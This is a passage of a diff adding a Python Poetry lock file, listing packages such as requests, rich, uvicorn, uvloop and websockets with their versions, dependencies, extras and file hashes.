{file = "regex-2023.3.23-cp38-cp38-win32.whl", hash = "sha256:fffe57312a358be6ec6baeb43d253c36e5790e436b7bf5b7a38df360363e88e9"}, + {file = "regex-2023.3.23-cp38-cp38-win_amd64.whl", hash = "sha256:dbb3f87e15d3dd76996d604af8678316ad2d7d20faa394e92d9394dfd621fd0c"}, + {file = "regex-2023.3.23-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c88e8c226473b5549fe9616980ea7ca09289246cfbdf469241edf4741a620004"}, + {file = "regex-2023.3.23-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6560776ec19c83f3645bbc5db64a7a5816c9d8fb7ed7201c5bcd269323d88072"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b1fc2632c01f42e06173d8dd9bb2e74ab9b0afa1d698058c867288d2c7a31f3"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fdf7ad455f1916b8ea5cdbc482d379f6daf93f3867b4232d14699867a5a13af7"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fc33b27b1d800fc5b78d7f7d0f287e35079ecabe68e83d46930cf45690e1c8c"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c49552dc938e3588f63f8a78c86f3c9c75301e813bca0bef13bdb4b87ccf364"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e152461e9a0aedec7d37fc66ec0fa635eca984777d3d3c3e36f53bf3d3ceb16e"}, + {file = "regex-2023.3.23-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:db034255e72d2995cf581b14bb3fc9c00bdbe6822b49fcd4eef79e1d5f232618"}, + {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:55ae114da21b7a790b90255ea52d2aa3a0d121a646deb2d3c6a3194e722fc762"}, + {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:ef3f528fe1cc3d139508fe1b22523745aa77b9d6cb5b0bf277f48788ee0b993f"}, + {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:a81c9ec59ca2303acd1ccd7b9ac409f1e478e40e96f8f79b943be476c5fdb8bb"}, + {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cde09c4fdd070772aa2596d97e942eb775a478b32459e042e1be71b739d08b77"}, + {file = "regex-2023.3.23-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3cd9f5dd7b821f141d3a6ca0d5d9359b9221e4f051ca3139320adea9f1679691"}, + {file = "regex-2023.3.23-cp39-cp39-win32.whl", hash = "sha256:7304863f3a652dab5e68e6fb1725d05ebab36ec0390676d1736e0571ebb713ef"}, + {file = "regex-2023.3.23-cp39-cp39-win_amd64.whl", hash = "sha256:54c3fa855a3f7438149de3211738dd9b5f0c733f48b54ae05aa7fce83d48d858"}, + {file = "regex-2023.3.23.tar.gz", hash = "sha256:dc80df325b43ffea5cdea2e3eaa97a44f3dd298262b1c7fe9dbb2a9522b956a7"}, +] + +[[package]] +name = "requests" +version = "2.29.0" +description = "Python HTTP for Humans." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.29.0-py3-none-any.whl", hash = "sha256:e8f3c9be120d3333921d213eef078af392fba3933ab7ed2d1cba3b56f2568c3b"}, + {file = "requests-2.29.0.tar.gz", hash = "sha256:f2e34a75f4749019bb0e3effb66683630e4ffeaf75819fb51bebef1bf5aef059"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<1.27" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rfc3986" +version = "1.5.0" +description = "Validating URI References per RFC 3986" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"}, + {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"}, +] + +[package.dependencies] +idna = {version = "*", optional = true, markers = "extra == \"idna2008\""} + +[package.extras] +idna2008 = ["idna"] + +[[package]] +name = "rich" +version = "13.3.4" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.3.4-py3-none-any.whl", hash = "sha256:22b74cae0278fd5086ff44144d3813be1cedc9115bdfabbfefd86400cb88b20a"}, + {file = "rich-13.3.4.tar.gz", hash = "sha256:b5d573e13605423ec80bdd0cd5f8541f7844a0e71a13f74cf454ccb2f490708b"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0,<3.0.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "s3transfer" +version = "0.6.0" +description = "An Amazon S3 Transfer Manager" +category = "main" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "s3transfer-0.6.0-py3-none-any.whl", hash = "sha256:06176b74f3a15f61f1b4f25a1fc29a4429040b7647133a463da8fa5bd28d5ecd"}, + {file = "s3transfer-0.6.0.tar.gz", hash = "sha256:2ed07d3866f523cc561bf4a00fc5535827981b117dd7876f036b0c1aca42c947"}, +] + +[package.dependencies] +botocore = ">=1.12.36,<2.0a.0" + +[package.extras] +crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] + +[[package]] +name = "setuptools" +version = "67.7.2" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "setuptools-67.7.2-py3-none-any.whl", hash = "sha256:23aaf86b85ca52ceb801d32703f12d77517b2556af839621c641fca11287952b"}, + {file = "setuptools-67.7.2.tar.gz", hash = "sha256:f104fa03692a2602fa0fec6c6a9e63b6c8a968de13e17c026957dd1f53d80990"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8 (<5)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "smmap" +version = "5.0.0" +description = "A pure Python implementation of a sliding window memory map manager" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"}, + {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"}, +] + +[[package]] +name = "sniffio" +version = "1.3.0" +description = "Sniff out which async library your code is running under" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, + {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, +] + +[[package]] +name = "starlette" +version = "0.19.1" +description = "The little ASGI library that shines." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"}, + {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"}, +] + +[package.dependencies] +anyio = ">=3.4.0,<5" + +[package.extras] +full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"] + +[[package]] +name = "stevedore" +version = "5.0.0" +description = "Manage dynamic plugins for Python applications" +category = "dev" +optional = false +python-versions = ">=3.8" +files = [ + {file = "stevedore-5.0.0-py3-none-any.whl", hash = "sha256:bd5a71ff5e5e5f5ea983880e4a1dd1bb47f8feebbb3d95b592398e2f02194771"}, + {file = "stevedore-5.0.0.tar.gz", hash = "sha256:2c428d2338976279e8eb2196f7a94910960d9f7ba2f41f3988511e95ca447021"}, +] + +[package.dependencies] +pbr = ">=2.0.0,<2.1.0 || >2.1.0" + +[[package]] +name = "structlog" +version = "23.1.0" +description = "Structured Logging for Python" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"}, + {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"}, +] + +[package.extras] +dev = ["structlog[docs,tests,typing]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"] +tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"] +typing = ["mypy", "rich", "twisted"] + +[[package]] +name = "sumy" +version = "0.10.0" +description = "Module for automatic summarization of text documents and HTML pages." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "sumy-0.10.0-py2.py3-none-any.whl", hash = "sha256:175838405044e493035920dd360a2e31a2236ddd014fc6376073a2c550973b03"}, + {file = "sumy-0.10.0.tar.gz", hash = "sha256:77571eb1167fdde4e42bd6aa2b05d961e6667c3a1f87c117720cdc9886ab3971"}, +] + +[package.dependencies] +breadability = ">=0.1.20" +docopt = ">=0.6.1,<0.7" +nltk = ">=3.0.2" +pycountry = ">=18.2.23" +requests = ">=2.7.0" + +[package.extras] +chinese = ["jieba"] +greek = ["greek-stemmer-pos"] +hebrew = ["hebrew-tokenizer"] +japanese = ["tinysegmenter"] +korean = ["konlpy"] +lexrank = ["numpy"] +lsa = ["numpy"] + +[[package]] +name = "tenacity" +version = "8.2.2" +description = "Retry code until it succeeds" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"}, + {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"}, +] + +[package.extras] +doc = ["reno", "sphinx", "tornado (>=4.5)"] + +[[package]] +name = "texttable" +version = "1.6.7" +description = "module to create simple ASCII tables" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "texttable-1.6.7-py2.py3-none-any.whl", hash = "sha256:b7b68139aa8a6339d2c320ca8b1dc42d13a7831a346b446cb9eb385f0c76310c"}, + {file = "texttable-1.6.7.tar.gz", hash = "sha256:290348fb67f7746931bcdfd55ac7584ecd4e5b0846ab164333f0794b121760f2"}, +] + +[[package]] +name = "tqdm" +version = "4.65.0" +description = "Fast, Extensible Progress Meter" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"}, + {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +dev = ["py-make (>=0.1.0)", "twine", "wheel"] +notebook = ["ipywidgets (>=6)"] +slack = ["slack-sdk"] +telegram = ["requests"] + +[[package]] +name = "types-protobuf" +version = "3.20.4.6" +description = "Typing stubs for protobuf" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "types-protobuf-3.20.4.6.tar.gz", hash = "sha256:ba27443c592bbec1629dd69494a24c84461c63f0d3b7d648ce258aaae9680965"}, + {file = "types_protobuf-3.20.4.6-py3-none-any.whl", hash = "sha256:ab2d315ba82246b83d28f8797c98dc0fe1dd5cfd187909e56faf87239aedaae3"}, +] + +[[package]] +name = "typing-extensions" +version = "4.5.0" +description = "Backported and Experimental Type Hints for Python 3.7+" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"}, + {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"}, +] + +[[package]] +name = "urllib3" +version = "1.26.15" +description = "HTTP library with thread-safe connection pooling, file post, and more." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"}, + {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[[package]] +name = "uvicorn" +version = "0.18.3" +description = "The lightning-fast ASGI server." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"}, + {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"}, +] + +[package.dependencies] +click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} +h11 = ">=0.8" +httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} +uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.0", optional = true, markers = "extra == \"standard\""} + +[package.extras] +standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"] + +[[package]] +name = "uvloop" +version = "0.17.0" +description = "Fast implementation of asyncio event loop on top of libuv" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"}, + {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"}, + {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"}, + {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"}, + {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"}, + {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"}, + {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"}, + {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"}, + {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"}, + {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"}, + {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"}, + {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"}, + {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"}, + {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"}, + {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"}, + {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"}, + {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"}, +] + +[package.extras] +dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"] + +[[package]] +name = "watchfiles" +version = "0.19.0" +description = "Simple, modern and high performance file watching and code reload in python." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"}, + {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"}, + {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"}, + {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"}, + {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"}, + {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"}, + {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"}, + {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"}, + {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + +[[package]] +name = "websockets" +version = "11.0.2" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "websockets-11.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:580cc95c58118f8c39106be71e24d0b7e1ad11a155f40a2ee687f99b3e5e432e"}, + {file = "websockets-11.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:143782041e95b63083b02107f31cda999f392903ae331de1307441f3a4557d51"}, + {file = "websockets-11.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8df63dcd955eb6b2e371d95aacf8b7c535e482192cff1b6ce927d8f43fb4f552"}, + {file = "websockets-11.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9b2dced5cbbc5094678cc1ec62160f7b0fe4defd601cd28a36fde7ee71bbb5"}, + {file = "websockets-11.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0eeeea3b01c97fd3b5049a46c908823f68b59bf0e18d79b231d8d6764bc81ee"}, + {file = "websockets-11.0.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:502683c5dedfc94b9f0f6790efb26aa0591526e8403ad443dce922cd6c0ec83b"}, + {file = "websockets-11.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d3cc3e48b6c9f7df8c3798004b9c4b92abca09eeea5e1b0a39698f05b7a33b9d"}, + {file = 